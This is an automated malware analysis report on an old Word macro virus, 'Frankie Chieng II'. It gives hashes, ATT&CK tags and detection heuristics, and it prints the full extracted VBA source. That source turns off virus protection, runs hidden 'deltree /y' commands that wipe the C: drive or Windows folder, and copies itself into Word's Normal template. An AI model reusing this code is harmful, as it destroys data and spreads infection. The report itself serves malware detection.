Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d3e5b36dfa3ede4e…

MALICIOUS

Office (OLE)

53.0 KB Created: 1998-05-19 08:10:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 853c83485cdcde69ab390cca6f56d1c5 SHA-1: f9ca4a358734c5916e90f9da13a769b2cf6aae8e SHA-256: d3e5b36dfa3ede4e63b73eb9073bc0e319a9a78a13c2e971907f157bcc1561e0
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1485 Data Destruction

The sample is a legacy Word document containing a VBA macro with 'AutoExec' and 'AutoClose' routines. The 'AutoExec' routine displays a series of message boxes to the user, and based on the user's selection, it executes the 'deltree' command to delete files and directories. This indicates a data destruction attack. The presence of legacy macro virus markers and the use of 'deltree' suggest an older, but still functional, destructive malware.

Heuristics 6

  • ClamAV: Doc.Trojan.Mbug-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mbug-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3762 bytes
SHA-256: 5d79c63a389fbc96c0d6f50f5e2335b40c8b02032b5e9bf2dbe1f8d75ab863dd
Detection
ClamAV: Win.Trojan.DelTree-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{23D86DB7-EEB6-11D1-B129-444553540000}{23D86DA8-EEB6-11D1-B129-444553540000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "frank"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
If Day(Now()) = "1" Or Day(Now()) = "3" Or Day(Now()) = "15" Or Day(Now()) = "21" Or Day(Now()) = "23" Or Day(Now()) = "27" Or Day(Now()) = "30" Or Day(Now()) = "20" Or Day(Now()) = "8" Then
MsgBox "Frankie chieng II Mvirus", vbInformation, "Attention"
With Assistant.NewBalloon
    .Animation = msoAnimationGetAttentionMajor
    .Icon = msoIconAlert
    .Button = False
    .Text = "Choose the section:"
    .Heading = "FrankieChieng II"
    .Labels(1).Text = "He would eat your *.Doc file."
    .Labels(2).Text = "He kill your file."
    .Labels(3).Text = "He attack all PC system."
    x = .Show
End With
If x = 1 Then
Shell "deltree /y c:\*.*", vbHide
MsgBox "Yeah eating some filez", vbQuestion, "Frankie chieng virus"
ElseIf x = 2 Then
Shell "deltree /y c:\windows\*.*", vbHide
MsgBox "Damn your PC in a while", vbExclamation, "Frankie chieng virus"
ElseIf x = 3 Then
Shell "deltree /y c:\windows", vbHide
MsgBox "System attack!", vbSystemModal, "Frankie chieng virus"
End If
End If
End Sub
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAC
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "frank" Then
        frankInstalled = -1
    End If
Next i
If Not frankInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="frank", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
End If
MsgBox "", vbCritical, "Frankie Chieng II"
ErrorAC:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
    If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
        ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
    End If
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="frank", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ErrorFSA:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
UserForm1.Show
ErrorFT:
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorTM
UserForm1.Show
ErrorTM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorVVBC
UserForm1.Show
ErrorVVBC:
End Sub

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